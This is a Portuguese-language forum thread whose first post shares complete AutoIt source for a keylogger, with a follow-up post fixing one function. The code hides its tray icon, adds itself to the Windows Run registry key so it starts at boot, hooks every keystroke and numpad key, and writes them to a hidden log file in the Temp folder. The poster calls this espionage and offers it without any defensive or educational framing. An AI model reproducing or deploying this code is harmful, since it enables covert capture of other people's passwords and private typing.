Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Keylogger Simples em Autoit

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Keylogger Simples em Autoit

    O log.txt é salvo na pasta Temp do Windows


    #NoTrayIcon
    #include <Misc.au3>

    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wi ndows\CurrentVersion\Run", @ScriptName, "REG_SZ", @ScriptFullPath) ;Fazendo o script iniciar junto com o windows

    _Singleton("olol",0)

    ;Criando atalho para todas as teclas
    For $i = 0 To 256
    HotKeySet(Chr($i), "Capt")
    Next

    ;Criando atalho para o NUMPAD
    For $i = 0 To 9
    HotKeySet("{NUMPAD" & $i &"}", "CaptNumPad")
    Next

    $arq = @TempDir & "/log.txt" ;Local do armazenamento do arquivo de log

    $i = 0

    ;Criando arquivo log
    FileWrite($arq, @CRLF & "Espionagem iniciada em " & @HOUR & ":" & @MIN & ":" & @SEC & " de " & @MDAY & "/" & @MON & "/" & @YEAR & @CRLF & @CRLF)

    FileSetAttrib($arq,"+H") ;Deixando o arquivo oculto

    ;Loop para manter o keylogger sempre funcionando
    While 1
    Sleep(1000)
    WEnd

    ;Função para capturar as teclas
    Func Capt()
    FileWrite($arq, $a & @HotKeyPressed)
    HotKeySet(@HotKeyPressed)
    Send(@HotKeyPressed)
    HotKeySet(@HotKeyPressed, "Capt")
    EndFunc

    ;Função para capturar teclas do NumPad
    Func CaptNumPad()
    If _IsPressed(60) Then
    FileWrite($arq, "0")
    ElseIf _IsPressed(61) Then
    FileWrite($arq, "1")
    ElseIf _IsPressed(62) Then
    FileWrite($arq, "2")
    ElseIf _IsPressed(63) Then
    FileWrite($arq, "3")
    ElseIf _IsPressed(64) Then
    FileWrite($arq, "4")
    ElseIf _IsPressed(65) Then
    FileWrite($arq, "5")
    ElseIf _IsPressed(66) Then
    FileWrite($arq, "6")
    ElseIf _IsPressed(67) Then
    FileWrite($arq, "7")
    ElseIf _IsPressed(68) Then
    FileWrite($arq, "8")
    Else
    FileWrite($arq, "9")
    EndIf
    HotKeySet(@HotKeyPressed)
    Send(@HotKeyPressed)
    HotKeySet(@HotKeyPressed, "CaptNumPad")
    EndFunc
    Espero que gostem
    "Não subestime os fracos pois eles não agem com a força e sim com a mente."
    Similar Threads

  • Font Size
    #2
    Desculpem galera postei o código com um pequeno erro....


    Procurem a função Capt() para capturar as teclas e substitua por este código:

    ;Função para capturar as teclas
    Func Capt()
    FileWrite($arq,@HotKeyPressed)
    HotKeySet(@HotKeyPressed)
    Send(@HotKeyPressed)
    HotKeySet(@HotKeyPressed, "Capt")
    EndFunc
    Desculpe pelo erro, estava fazendo alguns testes antes de postar
    "Não subestime os fracos pois eles não agem com a força e sim com a mente."

    Comment

    X
    Working...
    X